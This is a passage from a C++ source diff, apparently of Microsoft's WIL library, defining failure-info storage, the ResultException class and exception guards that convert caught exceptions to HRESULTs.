RoOriginateError in case of a failure. + // Normally, the callback is owned by including result_originate.h in the including module. Alternatively a module + // could re-route error origination callback to its own implementation. + inline void SetOriginateErrorCallback(_In_opt_ decltype(details::g_pfnOriginateCallback) callbackFunction) + { + // Only ONE function can own the error origination callback + __FAIL_FAST_IMMEDIATE_ASSERT__((details::g_pfnOriginateCallback == nullptr) || (callbackFunction == nullptr) || (details::g_pfnOriginateCallback == callbackFunction)); + details::g_pfnOriginateCallback = callbackFunction; + } + + // [optionally] Plug in failfast callback + // This provides the ability for a module to call RoFailFastWithErrorContext in the failfast handler -if- there is stowed + // exception data available. Normally, the callback is owned by including result_originate.h in the including module. + // Alternatively a module could re-route to its own implementation. + inline void SetFailfastWithContextCallback(_In_opt_ decltype(details::g_pfnFailfastWithContextCallback) callbackFunction) + { + // Only ONE function can own the failfast with context callback + __FAIL_FAST_IMMEDIATE_ASSERT__((details::g_pfnFailfastWithContextCallback == nullptr) || (callbackFunction == nullptr) || (details::g_pfnFailfastWithContextCallback == callbackFunction)); + details::g_pfnFailfastWithContextCallback = callbackFunction; + } + + // A RAII wrapper around the storage of a FailureInfo struct (which is normally meant to be consumed + // on the stack or from the caller). The storage of FailureInfo needs to copy some data internally + // for lifetime purposes. + + class StoredFailureInfo + { + public: + StoredFailureInfo() WI_NOEXCEPT + { + ::ZeroMemory(&m_failureInfo, sizeof(m_failureInfo)); + } + + StoredFailureInfo(FailureInfo const &other) WI_NOEXCEPT + { + SetFailureInfo(other); + } + + FailureInfo const & GetFailureInfo() const WI_NOEXCEPT + { + return m_failureInfo; + } + + void SetFailureInfo(FailureInfo const &failure) WI_NOEXCEPT + { + m_failureInfo = failure; + + size_t const cbNeed = details::ResultStringSize(failure.pszMessage) + + details::ResultStringSize(failure.pszCode) + + details::ResultStringSize(failure.pszFunction) + + details::ResultStringSize(failure.pszFile) + + details::ResultStringSize(failure.pszCallContext) + + details::ResultStringSize(failure.pszModule) + + details::ResultStringSize(failure.callContextCurrent.contextName) + + details::ResultStringSize(failure.callContextCurrent.contextMessage) + + details::ResultStringSize(failure.callContextOriginating.contextName) + + details::ResultStringSize(failure.callContextOriginating.contextMessage); + + if (!m_spStrings.unique() || (m_spStrings.size() < cbNeed)) + { + m_spStrings.reset(); + m_spStrings.create(cbNeed); + } + + size_t cbAlloc; + unsigned char *pBuffer = static_cast(m_spStrings.get(&cbAlloc)); + unsigned char *pBufferEnd = (pBuffer != nullptr) ? pBuffer + cbAlloc : nullptr; + + if (pBuffer) + { + pBuffer = details::WriteResultString(pBuffer, pBufferEnd, failure.pszMessage, &m_failureInfo.pszMessage); + pBuffer = details::WriteResultString(pBuffer, pBufferEnd, failure.pszCode, &m_failureInfo.pszCode); + pBuffer = details::WriteResultString(pBuffer, pBufferEnd, failure.pszFunction, &m_failureInfo.pszFunction); + pBuffer = details::WriteResultString(pBuffer, pBufferEnd, failure.pszFile, &m_failureInfo.pszFile); + pBuffer = details::WriteResultString(pBuffer, pBufferEnd, failure.pszCallContext, &m_failureInfo.pszCallContext); + pBuffer = details::WriteResultString(pBuffer, pBufferEnd, failure.pszModule, &m_failureInfo.pszModule); + pBuffer = details::WriteResultString(pBuffer, pBufferEnd, failure.callContextCurrent.contextName, &m_failureInfo.callContextCurrent.contextName); + pBuffer = details::WriteResultString(pBuffer, pBufferEnd, failure.callContextCurrent.contextMessage, &m_failureInfo.callContextCurrent.contextMessage); + pBuffer = details::WriteResultString(pBuffer, pBufferEnd, failure.callContextOriginating.contextName, &m_failureInfo.callContextOriginating.contextName); + pBuffer = details::WriteResultString(pBuffer, pBufferEnd, failure.callContextOriginating.contextMessage, &m_failureInfo.callContextOriginating.contextMessage); + ZeroMemory(pBuffer, pBufferEnd - pBuffer); + } + } + + // Relies upon generated copy constructor and assignment operator + + protected: + FailureInfo m_failureInfo; + details::shared_buffer m_spStrings; + }; + +#if defined(WIL_ENABLE_EXCEPTIONS) || defined(WIL_FORCE_INCLUDE_RESULT_EXCEPTION) + + //! This is WIL's default exception class thrown from all THROW_XXX macros (outside of c++/cx). + //! This class stores all of the FailureInfo context that is available when the exception is thrown. It's also caught by + //! exception guards for automatic conversion to HRESULT. + //! + //! In c++/cx, Platform::Exception^ is used instead of this class (unless @ref wil::g_fResultThrowPlatformException has been changed). + class ResultException : public std::exception + { + public: + //! Constructs a new ResultException from an existing FailureInfo. + ResultException(const FailureInfo& failure) WI_NOEXCEPT : + m_failure(failure) + { + } + + //! Constructs a new exception type from a given HRESULT (use only for constructing custom exception types). + ResultException(_Pre_satisfies_(hr < 0) HRESULT hr) WI_NOEXCEPT : + m_failure(CustomExceptionFailureInfo(hr)) + { + } + + //! Returns the failed HRESULT that this exception represents. + _Always_(_Post_satisfies_(return < 0)) HRESULT GetErrorCode() const WI_NOEXCEPT + { + HRESULT const hr = m_failure.GetFailureInfo().hr; + __analysis_assume(hr < 0); + return hr; + } + + //! Get a reference to the stored FailureInfo. + FailureInfo const & GetFailureInfo() const WI_NOEXCEPT + { + return m_failure.GetFailureInfo(); + } + + //! Sets the stored FailureInfo (use primarily only when constructing custom exception types). + void SetFailureInfo(FailureInfo const &failure) WI_NOEXCEPT + { + m_failure.SetFailureInfo(failure); + } + + //! Provides a string representing the FailureInfo from this exception. + inline const char * __CLR_OR_THIS_CALL what() const WI_NOEXCEPT override + { + if (!m_what) + { + wchar_t message[2048]; + GetFailureLogString(message, ARRAYSIZE(message), m_failure.GetFailureInfo()); + + char messageA[1024]; + wil::details::StringCchPrintfA(messageA, ARRAYSIZE(messageA), "%ws", message); + m_what.create(messageA, strlen(messageA) + sizeof(*messageA)); + } + return static_cast(m_what.get()); + } + + // Relies upon auto-generated copy constructor and assignment operator + protected: + StoredFailureInfo m_failure; //!< The failure information for this exception + mutable details::shared_buffer m_what; //!< The on-demand generated what() string + + //! Use to produce a custom FailureInfo from an HRESULT (use only when constructing custom exception types). + static FailureInfo CustomExceptionFailureInfo(HRESULT hr) WI_NOEXCEPT + { + FailureInfo fi = {}; + fi.type = FailureType::Exception; + fi.hr = hr; + return fi; + } + }; +#endif + + + //***************************************************************************** + // Public Helpers that catch -- mostly only enabled when exceptions are enabled + //***************************************************************************** + + // ResultFromCaughtException is a function that is meant to be called from within a catch(...) block. Internally + // it re-throws and catches the exception to convert it to an HRESULT. If an exception is of an unrecognized type + // the function will fail fast. + // + // try + // { + // // Code + // } + // catch (...) + // { + // hr = wil::ResultFromCaughtException(); + // } + _Always_(_Post_satisfies_(return < 0)) + __declspec(noinline) inline HRESULT ResultFromCaughtException() WI_NOEXCEPT + { + bool isNormalized = false; + HRESULT hr = S_OK; + if (details::g_pfnResultFromCaughtExceptionInternal) + { + hr = details::g_pfnResultFromCaughtExceptionInternal(nullptr, 0, &isNormalized); + } + if (FAILED(hr)) + { + return hr; + } + + // Caller bug: an unknown exception was thrown + __WIL_PRIVATE_FAIL_FAST_HR_IF(__HRESULT_FROM_WIN32(ERROR_UNHANDLED_EXCEPTION), g_fResultFailFastUnknownExceptions); + return __HRESULT_FROM_WIN32(ERROR_UNHANDLED_EXCEPTION); + } + + //! Identical to 'throw;', but can be called from error-code neutral code to rethrow in code that *may* be running under an exception context + inline void RethrowCaughtException() + { + // We always want to rethrow the exception under normal circumstances. Ordinarily, we could actually guarantee + // this as we should be able to rethrow if we caught an exception, but if we got here in the middle of running + // dynamic initializers, then it's possible that we haven't yet setup the rethrow function pointer, thus the + // runtime check without the noreturn annotation. + + if (details::g_pfnRethrow) + { + details::g_pfnRethrow(); + } + } + + //! Identical to 'throw ResultException(failure);', but can be referenced from error-code neutral code + inline void ThrowResultException(const FailureInfo& failure) + { + if (details::g_pfnThrowResultException) + { + details::g_pfnThrowResultException(failure); + } + } + + //! @cond + namespace details + { +#ifdef WIL_ENABLE_EXCEPTIONS + //***************************************************************************** + // Private helpers to catch and propagate exceptions + //***************************************************************************** + + RESULT_NORETURN inline void TerminateAndReportError(_In_opt_ PEXCEPTION_POINTERS) + { + // This is an intentional fail-fast that was caught by an exception guard with WIL. Look back up the callstack to determine + // the source of the actual exception being thrown. The exception guard used by the calling code did not expect this + // exception type to be thrown or is specifically requesting fail-fast for this class of exception. + + FailureInfo failure{}; + WilFailFast(failure); + } + + inline void MaybeGetExceptionString(const ResultException& exception, _Out_writes_opt_(debugStringChars) PWSTR debugString, _When_(debugString != nullptr, _Pre_satisfies_(debugStringChars > 0)) size_t debugStringChars) + { + if (debugString) + { + GetFailureLogString(debugString, debugStringChars, exception.GetFailureInfo()); + } + } + + inline void MaybeGetExceptionString(const std::exception& exception, _Out_writes_opt_(debugStringChars) PWSTR debugString, _When_(debugString != nullptr, _Pre_satisfies_(debugStringChars > 0)) size_t debugStringChars) + { + if (debugString) + { + StringCchPrintfW(debugString, debugStringChars, L"std::exception: %hs", exception.what()); + } + } + + inline HRESULT ResultFromKnownException(const ResultException& exception, const DiagnosticsInfo& diagnostics, void* returnAddress) + { + wchar_t message[2048]; + message[0] = L'\0'; + MaybeGetExceptionString(exception, message, ARRAYSIZE(message)); + auto hr = exception.GetErrorCode(); + wil::details::ReportFailure_Base(__R_DIAGNOSTICS_RA(diagnostics, returnAddress), hr, message); + return hr; + } + + inline HRESULT ResultFromKnownException(const std::bad_alloc& exception, const DiagnosticsInfo& diagnostics, void* returnAddress) + { + wchar_t message[2048]; + message[0] = L'\0'; + MaybeGetExceptionString(exception, message, ARRAYSIZE(message)); + constexpr auto hr = E_OUTOFMEMORY; + wil::details::ReportFailure_Base(__R_DIAGNOSTICS_RA(diagnostics, returnAddress), hr, message); + return hr; + } + + inline HRESULT ResultFromKnownException(const std::exception& exception, const DiagnosticsInfo& diagnostics, void* returnAddress) + { + wchar_t message[2048]; + message[0] = L'\0'; + MaybeGetExceptionString(exception, message, ARRAYSIZE(message)); + constexpr auto hr = __HRESULT_FROM_WIN32(ERROR_UNHANDLED_EXCEPTION); + ReportFailure_Base(__R_DIAGNOSTICS_RA(diagnostics, returnAddress), hr, message); + return hr; + } + + inline HRESULT ResultFromKnownException_CppWinRT(const DiagnosticsInfo& diagnostics, void* returnAddress) + { + if (g_pfnResultFromCaughtException_CppWinRt) + { + wchar_t message[2048]; + message[0] = L'\0'; + bool ignored; + auto hr = g_pfnResultFromCaughtException_CppWinRt(message, ARRAYSIZE(message), &ignored); + if (FAILED(hr)) + { + ReportFailure_Base(__R_DIAGNOSTICS_RA(diagnostics, returnAddress), hr, message); + return hr; + } + } + + // Indicate that this either isn't a C++/WinRT exception or a handler isn't configured by returning success + return S_OK; + } + + inline HRESULT RecognizeCaughtExceptionFromCallback(_Inout_updates_opt_(debugStringChars) PWSTR debugString, _When_(debugString != nullptr, _Pre_satisfies_(debugStringChars > 0)) size_t debugStringChars) + { + HRESULT hr = g_pfnResultFromCaughtException(); + + // If we still don't know the error -- or we would like to get the debug string for the error (if possible) we + // rethrow and catch std::exception. + + if (SUCCEEDED(hr) || debugString) + { + try + { + throw; + } + catch (std::exception& exception) + { + MaybeGetExceptionString(exception, debugString, debugStringChars); + if (SUCCEEDED(hr)) + { + hr = __HRESULT_FROM_WIN32(ERROR_UNHANDLED_EXCEPTION); + } + } + catch (...) + { + } + } + + return hr; + } + +#ifdef __cplusplus_winrt + inline Platform::String^ GetPlatformExceptionMessage(Platform::Exception^ exception) + { + struct RawExceptionData_Partial + { + PCWSTR description; + PCWSTR restrictedErrorString; + }; + + auto exceptionPtr = reinterpret_cast(static_cast<::Platform::Object^>(exception)); + auto exceptionInfoPtr = reinterpret_cast(exceptionPtr) - 1; + auto partial = reinterpret_cast(*exceptionInfoPtr); + + Platform::String^ message = exception->Message; + + PCWSTR errorString = partial->restrictedErrorString; + PCWSTR messageString = reinterpret_cast(message ? message->Data() : nullptr); + + // An old Platform::Exception^ bug that did not actually expose the error string out of the exception + // message. We do it by hand here if the message associated with the strong does not contain the + // message that was originally attached to the string (in the fixed version it will). + + if ((errorString && *errorString && messageString) && + (wcsstr(messageString, errorString) == nullptr)) + { + return ref new Platform::String(reinterpret_cast<_Null_terminated_ const __wchar_t *>(errorString)); + } + return message; + } + + inline void MaybeGetExceptionString(_In_ Platform::Exception^ exception, _Out_writes_opt_(debugStringChars) PWSTR debugString, _When_(debugString != nullptr, _Pre_satisfies_(debugStringChars > 0)) size_t debugStringChars) + { + if (debugString) + { + auto message = GetPlatformExceptionMessage(exception); + auto messageString = !message ? L"(null Message)" : reinterpret_cast(message->Data()); + StringCchPrintfW(debugString, debugStringChars, L"Platform::Exception^: %ws", messageString); + } + } + + inline HRESULT ResultFromKnownException(Platform::Exception^ exception, const DiagnosticsInfo& diagnostics, void* returnAddress) + { + wchar_t message[2048]; + message[0] = L'\0'; + MaybeGetExceptionString(exception, message, ARRAYSIZE(message)); + auto hr = exception->HResult; + wil::details::ReportFailure_Base(__R_DIAGNOSTICS_RA(diagnostics, returnAddress), hr, message); + return hr; + } + + inline HRESULT __stdcall ResultFromCaughtException_WinRt(_Inout_updates_opt_(debugStringChars) PWSTR debugString, _When_(debugString != nullptr, _Pre_satisfies_(debugStringChars > 0)) size_t debugStringChars, _Inout_ bool* isNormalized) WI_NOEXCEPT + { + if (g_pfnResultFromCaughtException) + { + try + { + throw; + } + catch (const ResultException& exception) + { + MaybeGetExceptionString(exception, debugString, debugStringChars); + return exception.GetErrorCode(); + } + catch (Platform::Exception^ exception) + { + *isNormalized = true; + // We need to call __abi_translateCurrentException so that the CX runtime will pull the originated error information + // out of the exception object and place it back into thread-local storage. + __abi_translateCurrentException(false); + MaybeGetExceptionString(exception, debugString, debugStringChars); + return exception->HResult; + } + catch (const std::bad_alloc& exception) + { + MaybeGetExceptionString(exception, debugString, debugStringChars); + return E_OUTOFMEMORY; + } + catch (...) + { + auto hr = RecognizeCaughtExceptionFromCallback(debugString, debugStringChars); + if (FAILED(hr)) + { + return hr; + } + } + } + else + { + try + { + throw; + } + catch (const ResultException& exception) + { + MaybeGetExceptionString(exception, debugString, debugStringChars); + return exception.GetErrorCode(); + } + catch (Platform::Exception^ exception) + { + *isNormalized = true; + // We need to call __abi_translateCurrentException so that the CX runtime will pull the originated error information + // out of the exception object and place it back into thread-local storage. + __abi_translateCurrentException(false); + MaybeGetExceptionString(exception, debugString, debugStringChars); + return exception->HResult; + } + catch (const std::bad_alloc& exception) + { + MaybeGetExceptionString(exception, debugString, debugStringChars); + return E_OUTOFMEMORY; + } + catch (std::exception& exception) + { + MaybeGetExceptionString(exception, debugString, debugStringChars); + return HRESULT_FROM_WIN32(ERROR_UNHANDLED_EXCEPTION); + } + catch (...) + { + // Fall through to returning 'S_OK' below + } + } + + // Tell the caller that we were unable to map the exception by succeeding... + return S_OK; + } + + // WinRT supporting version to execute a functor and catch known exceptions. + inline HRESULT __stdcall ResultFromKnownExceptions_WinRt(const DiagnosticsInfo& diagnostics, void* returnAddress, SupportedExceptions supported, IFunctor& functor) + { + WI_ASSERT(supported != SupportedExceptions::Default); + + switch (supported) + { + case SupportedExceptions::Known: + try + { + return functor.Run(); + } + catch (const ResultException& exception) + { + return ResultFromKnownException(exception, diagnostics, returnAddress); + } + catch (Platform::Exception^ exception) + { + return ResultFromKnownException(exception, diagnostics, returnAddress); + } + catch (const std::bad_alloc& exception) + { + return ResultFromKnownException(exception, diagnostics, returnAddress); + } + catch (std::exception& exception) + { + return ResultFromKnownException(exception, diagnostics, returnAddress); + } + catch (...) + { + auto hr = ResultFromKnownException_CppWinRT(diagnostics, returnAddress); + if (FAILED(hr)) + { + return hr; + } + + // Unknown exception + throw; + } + break; + + case SupportedExceptions::ThrownOrAlloc: + try + { + return functor.Run(); + } + catch (const ResultException& exception) + { + return ResultFromKnownException(exception, diagnostics, returnAddress); + } + catch (Platform::Exception^ exception) + { + return ResultFromKnownException(exception, diagnostics, returnAddress); + } + catch (const std::bad_alloc& exception) + { + return ResultFromKnownException(exception, diagnostics, returnAddress); + } + break; + + case SupportedExceptions::Thrown: + try + { + return functor.Run(); + } + catch (const ResultException& exception) + { + return ResultFromKnownException(exception, diagnostics, returnAddress); + } + catch (Platform::Exception^ exception) + { + return ResultFromKnownException(exception, diagnostics, returnAddress); + } + break; + } + + WI_ASSERT(false); + return S_OK; + } + + inline void __stdcall ThrowPlatformException(FailureInfo const &failure, LPCWSTR debugString) + { + throw Platform::Exception::CreateException(failure.hr, ref new Platform::String(reinterpret_cast<_Null_terminated_ const __wchar_t *>(debugString))); + } + +#if !defined(RESULT_SUPPRESS_STATIC_INITIALIZERS) + WI_HEADER_INITITALIZATION_FUNCTION(InitializeWinRt, [] + { + g_pfnResultFromCaughtException_WinRt = ResultFromCaughtException_WinRt; + g_pfnResultFromKnownExceptions_WinRt = ResultFromKnownExceptions_WinRt; + g_pfnThrowPlatformException = ThrowPlatformException; + return 1; + }); +#endif +#endif + + inline void __stdcall Rethrow() + { + throw; + } + + inline void __stdcall ThrowResultExceptionInternal(const FailureInfo& failure) + { + throw ResultException(failure); + } + + __declspec(noinline) inline HRESULT __stdcall ResultFromCaughtExceptionInternal(_Out_writes_opt_(debugStringChars) PWSTR debugString, _When_(debugString != nullptr, _Pre_satisfies_(debugStringChars > 0)) size_t debugStringChars, _Out_ bool* isNormalized) WI_NOEXCEPT + { + if (debugString) + { + *debugString = L'\0'; + } + *isNormalized = false; + + if (details::g_pfnResultFromCaughtException_CppWinRt != nullptr) + { + RETURN_IF_FAILED_EXPECTED(details::g_pfnResultFromCaughtException_CppWinRt(debugString, debugStringChars, isNormalized)); + } + + if (details::g_pfnResultFromCaughtException_WinRt != nullptr) + { + return details::g_pfnResultFromCaughtException_WinRt(debugString, debugStringChars, isNormalized); + } + + if (g_pfnResultFromCaughtException) + { + try + { + throw; + } + catch (const ResultException& exception) + { + *isNormalized = true; + MaybeGetExceptionString(exception, debugString, debugStringChars); + return exception.GetErrorCode(); + } + catch (const std::bad_alloc& exception) + { + MaybeGetExceptionString(exception, debugString, debugStringChars); + return E_OUTOFMEMORY; + } + catch (...) + { + auto hr = RecognizeCaughtExceptionFromCallback(debugString, debugStringChars); + if (FAILED(hr)) + { + return hr; + } + } + } + else + { + try + { + throw; + } + catch (const ResultException& exception) + { + *isNormalized = true; + MaybeGetExceptionString(exception, debugString, debugStringChars); + return exception.GetErrorCode(); + } + catch (const std::bad_alloc& exception) + { + MaybeGetExceptionString(exception, debugString, debugStringChars); + return E_OUTOFMEMORY; + } + catch (std::exception& exception) + { + MaybeGetExceptionString(exception, debugString, debugStringChars); + return __HRESULT_FROM_WIN32(ERROR_UNHANDLED_EXCEPTION); + } + catch (...) + { + // Fall through to returning 'S_OK' below + } + } + + // Tell the caller that we were unable to map the exception by succeeding... + return S_OK; + } + + // Runs the given functor, converting any exceptions of the supported types that are known to HRESULTs and returning + // that HRESULT. Does NOT attempt to catch unknown exceptions (which propagate). Primarily used by SEH exception + // handling techniques to stop at the point the exception is thrown. + inline HRESULT ResultFromKnownExceptions(const DiagnosticsInfo& diagnostics, void* returnAddress, SupportedExceptions supported, IFunctor& functor) + { + if (supported == SupportedExceptions::Default) + { + supported = g_fResultSupportStdException ? SupportedExceptions::Known : SupportedExceptions::ThrownOrAlloc; + } + + if ((details::g_pfnResultFromKnownExceptions_WinRt != nullptr) && + ((supported == SupportedExceptions::Known) || (supported == SupportedExceptions::Thrown) || (supported == SupportedExceptions::ThrownOrAlloc))) + { + return details::g_pfnResultFromKnownExceptions_WinRt(diagnostics, returnAddress, supported, functor); + } + + switch (supported) + { + case SupportedExceptions::Known: + try + { + return functor.Run(); + } + catch (const ResultException& exception) + { + return ResultFromKnownException(exception, diagnostics, returnAddress); + } + catch (const std::bad_alloc& exception) + { + return ResultFromKnownException(exception, diagnostics, returnAddress); + } + catch (std::exception& exception) + { + return ResultFromKnownException(exception, diagnostics, returnAddress); + } + catch (...) + { + auto hr = ResultFromKnownException_CppWinRT(diagnostics, returnAddress); + if (FAILED(hr)) + { + return hr; + } + + // Unknown exception + throw; + } + + case SupportedExceptions::ThrownOrAlloc: + try + { + return functor.Run(); + } + catch (const ResultException& exception) + { + return ResultFromKnownException(exception, diagnostics, returnAddress); + } + catch (const std::bad_alloc& exception) + { + return ResultFromKnownException(exception, diagnostics, returnAddress); + } + + case SupportedExceptions::Thrown: + try + { + return functor.Run(); + } + catch (const ResultException& exception) + { + return ResultFromKnownException(exception, diagnostics, returnAddress); + } + + case SupportedExceptions::All: + try + { + return functor.Run(); + } + catch (...) + { + return wil::details::ReportFailure_CaughtException(__R_DIAGNOSTICS_RA(diagnostics, returnAddress), supported); + } + + case SupportedExceptions::None: + return functor.Run(); + + case SupportedExceptions::Default: + WI_ASSERT(false); + } + + WI_ASSERT(false); + return S_OK; + } + + inline HRESULT ResultFromExceptionSeh(const DiagnosticsInfo& diagnostics, void* returnAddress, SupportedExceptions supported, IFunctor& functor) WI_NOEXCEPT + { + __try + { + return wil::details::ResultFromKnownExceptions(diagnostics, returnAddress, supported, functor); + } + __except (wil::details::TerminateAndReportError(GetExceptionInformation()), EXCEPTION_CONTINUE_SEARCH) + { + WI_ASSERT(false); + RESULT_NORETURN_RESULT(HRESULT_FROM_WIN32(ERROR_UNHANDLED_EXCEPTION)); + } + } + + __declspec(noinline) inline HRESULT ResultFromException(const DiagnosticsInfo& diagnostics, SupportedExceptions supported, IFunctor& functor) WI_NOEXCEPT + { +#ifdef RESULT_DEBUG + // We can't do debug SEH handling if the caller also wants a shot at mapping the exceptions + // themselves or if the caller doesn't want to fail-fast unknown exceptions + if ((g_pfnResultFromCaughtException == nullptr) && g_fResultFailFastUnknownExceptions) + { + return wil::details::ResultFromExceptionSeh(diagnostics, _ReturnAddress(), supported, functor); + } +#endif + try + { + return functor.Run(); + } + catch (...) + { + return wil::details::ReportFailure_CaughtException(__R_DIAGNOSTICS(diagnostics), _ReturnAddress(), supported); + } + } + + __declspec(noinline) inline HRESULT ResultFromExceptionDebug(const DiagnosticsInfo& diagnostics, SupportedExceptions supported, IFunctor& functor) WI_NOEXCEPT + { + return wil::details::ResultFromExceptionSeh(diagnostics, _ReturnAddress(), supported, functor); + } + + // Exception guard -- catch exceptions and log them (or handle them with a custom callback) + // WARNING: may throw an exception... + inline HRESULT __stdcall RunFunctorWithExceptionFilter(IFunctor& functor, IFunctorHost& host, void* returnAddress) + { + try + { + return host.Run(functor); + } + catch (...) + { + // Note that the host may choose to re-throw, throw a normalized exception, return S_OK and eat the exception or + // return the remapped failure. + return host.ExceptionThrown(returnAddress); + } + } + + WI_HEADER_INITITALIZATION_FUNCTION(InitializeResultExceptions, [] + { + g_pfnRunFunctorWithExceptionFilter = RunFunctorWithExceptionFilter; + g_pfnRethrow = Rethrow; + g_pfnThrowResultException = ThrowResultExceptionInternal; + g_pfnResultFromCaughtExceptionInternal = ResultFromCaughtExceptionInternal; + return 1; + }); + + } + + //! A lambda-based exception guard that can vary the supported exception types. + //! This function accepts a lambda and diagnostics information as its parameters and executes that lambda + //! under a try/catch(...) block. All exceptions are caught and the function reports the exception information + //! and diagnostics to telemetry on failure. An HRESULT is returned that maps to the exception. + //! + //! Note that an overload exists that does not report failures to telemetry at all. This version should be preferred + //! to that version. Also note that neither of these versions are preferred over using try catch blocks to accomplish + //! the same thing as they will be more efficient. + //! + //! See @ref page_exception_guards for more information and examples on exception guards. + //! ~~~~ + //! return wil::ResultFromException(WI_DIAGNOSTICS_INFO, [&] + //! { + //! // exception-based code + //! // telemetry is reported with full exception information + //! }); + //! ~~~~ + //! @param diagnostics Always pass WI_DIAGNOSTICS_INFO as the first parameter + //! @param supported What kind of exceptions you want to support + //! @param functor A lambda that accepts no parameters; any return value is ignored + //! @return S_OK on success (no exception thrown) or an error based upon the exception thrown + template + __forceinline HRESULT ResultFromException(const DiagnosticsInfo& diagnostics, SupportedExceptions supported, Functor&& functor) WI_NOEXCEPT + { + static_assert(details::functor_tag::value != details::tag_return_other::value, "Functor must return void or HRESULT"); + typename details::functor_tag::template functor_wrapper functorObject(wistd::forward(functor)); + + return wil::details::ResultFromException(diagnostics, supported, functorObject); + } + + //! A lambda-based exception guard. + //! This overload uses SupportedExceptions::Known by default. See @ref ResultFromException for more detailed information. + template + __forceinline HRESULT ResultFromException(const DiagnosticsInfo& diagnostics, Functor&& functor) WI_NOEXCEPT + { + return ResultFromException(diagnostics, SupportedExceptions::Known, wistd::forward(functor)); + } + + //! A lambda-based exception guard that does not report failures to telemetry. + //! This function accepts a lambda as it's only parameter and executes that lambda under a try/catch(...) block. + //! All exceptions are caught and the function returns an HRESULT mapping to the exception. + //! + //! This version (taking only a lambda) does not report failures to telemetry. An overload with the same name + //! can be utilized by passing `WI_DIAGNOSTICS_INFO` as the first parameter and the lambda as the second parameter + //! to report failure information to telemetry. + //! + //! See @ref page_exception_guards for more information and examples on exception guards. + //! ~~~~ + //! hr = wil::ResultFromException([&] + //! { + //! // exception-based code + //! // the conversion of exception to HRESULT doesn't report telemetry + //! }); + //! + //! hr = wil::ResultFromException(WI_DIAGNOSTICS_INFO, [&] + //! { + //! // exception-based code + //! // telemetry is reported with full exception information + //! }); + //! ~~~~ + //! @param functor A lambda that accepts no parameters; any return value is ignored + //! @return S_OK on success (no exception thrown) or an error based upon the exception thrown + template + inline HRESULT ResultFromException(Functor&& functor) WI_NOEXCEPT try + { + static_assert(details::functor_tag::value == details::tag_return_void::value, "Functor must return void"); + typename details::functor_tag::template functor_wrapper functorObject(wistd::forward(functor)); + + functorObject.Run(); + return S_OK; + } + catch (...) + { + return ResultFromCaughtException(); + } + + + //! A lambda-based exception guard that can identify the origin of unknown exceptions and can vary the supported exception types. + //! Functionally this is nearly identical to the corresponding @ref ResultFromException function with the exception + //! that it utilizes structured exception handling internally to be able to terminate at the point where a unknown + //! exception is thrown, rather than after that unknown exception has been unwound. Though less efficient, this leads + //! to a better debugging experience when analyzing unknown exceptions. + //! + //! For example: + //! ~~~~ + //! hr = wil::ResultFromExceptionDebug(WI_DIAGNOSTICS_INFO, [&] + //! { + //! FunctionWhichMayThrow(); + //! }); + //! ~~~~ + //! Assume FunctionWhichMayThrow() has a bug in it where it accidentally does a `throw E_INVALIDARG;`. This ends up + //! throwing a `long` as an exception object which is not what the caller intended. The normal @ref ResultFromException + //! would fail-fast when this is encountered, but it would do so AFTER FunctionWhichMayThrow() is already off of the + //! stack and has been unwound. Because SEH is used for ResultFromExceptionDebug, the fail-fast occurs with everything + //! leading up to and including the `throw INVALIDARG;` still on the stack (and easily debuggable). + //! + //! The penalty paid for using this, however, is efficiency. It's far less efficient as a general pattern than either + //! using ResultFromException directly or especially using try with CATCH_ macros directly. Still it's helpful to deploy + //! selectively to isolate issues a component may be having with unknown/unhandled exceptions. + //! + //! The ability to vary the SupportedExceptions that this routine provides adds the ability to track down unexpected + //! exceptions not falling into the supported category easily through fail-fast. For example, by not supporting any + //! exception, you can use this function to quickly add an exception guard that will fail-fast any exception at the point + //! the exception occurs (the throw) in a codepath where the origination of unknown exceptions need to be tracked down. + //! + //! Also see @ref ResultFromExceptionDebugNoStdException. It functions almost identically, but also will fail-fast and stop + //! on std::exception based exceptions (but not Platform::Exception^ or wil::ResultException). Using this can help isolate + //! where an unexpected exception is being generated from. + //! @param diagnostics Always pass WI_DIAGNOSTICS_INFO as the first parameter + //! @param supported What kind of exceptions you want to support + //! @param functor A lambda that accepts no parameters; any return value is ignored + //! @return S_OK on success (no exception thrown) or an error based upon the exception thrown + template + __forceinline HRESULT ResultFromExceptionDebug(const DiagnosticsInfo& diagnostics, SupportedExceptions supported, Functor&& functor) WI_NOEXCEPT + { + static_assert(details::functor_tag::value == details::tag_return_void::value, "Functor must return void"); + typename details::functor_tag::template functor_wrapper functorObject(wistd::forward(functor)); + + return wil::details::ResultFromExceptionDebug(diagnostics, supported, functorObject); + } + + //! A lambda-based exception guard that can identify the origin of unknown exceptions. + //! This overload uses SupportedExceptions::Known by default. See @ref ResultFromExceptionDebug for more detailed information. + template + __forceinline HRESULT ResultFromExceptionDebug(const DiagnosticsInfo& diagnostics, Functor&& functor) WI_NOEXCEPT + { + static_assert(details::functor_tag::value == details::tag_return_void::value, "Functor must return void"); + typename details::functor_tag::template functor_wrapper functorObject(wistd::forward(functor)); + + return wil::details::ResultFromExceptionDebug(diagnostics, SupportedExceptions::Known, functorObject); + } + + //! A fail-fast based exception guard. + //! Technically this is an overload of @ref ResultFromExceptionDebug that uses SupportedExceptions::None by default. Any uncaught + //! exception that makes it back to this guard would result in a fail-fast at the point the exception is thrown. + template + __forceinline void FailFastException(const DiagnosticsInfo& diagnostics, Functor&& functor) WI_NOEXCEPT + { + static_assert(details::functor_tag::value == details::tag_return_void::value, "Functor must return void"); + typename details::functor_tag::template functor_wrapper functorObject(wistd::forward(functor)); + + wil::details::ResultFromExceptionDebug(diagnostics, SupportedExceptions::None, functorObject); + } + + namespace details { + +#endif // WIL_ENABLE_EXCEPTIONS + + // Exception guard -- catch exceptions and log them (or handle them with a custom callback) + // WARNING: may throw an exception... + inline __declspec(noinline) HRESULT RunFunctor(IFunctor& functor, IFunctorHost& host) + { + if (g_pfnRunFunctorWithExceptionFilter) + { + return g_pfnRunFunctorWithExceptionFilter(functor, host, _ReturnAddress()); + } + + return host.Run(functor); + } + + // Returns true if a debugger should be considered to be connected. + // Modules can force this on through setting g_fIsDebuggerPresent explicitly (useful for live debugging), + // they can provide a callback function by setting g_pfnIsDebuggerPresent (useful for kernel debbugging), + // and finally the user-mode check (IsDebuggerPrsent) is checked. IsDebuggerPresent is a fast call + inline bool IsDebuggerPresent() + { + return g_fIsDebuggerPresent || ((g_pfnIsDebuggerPresent != nullptr) ? g_pfnIsDebuggerPresent() : (::IsDebuggerPresent() != FALSE)); + } + + //***************************************************************************** + // Shared Reporting -- all reporting macros bubble up through this codepath + //***************************************************************************** + + inline void 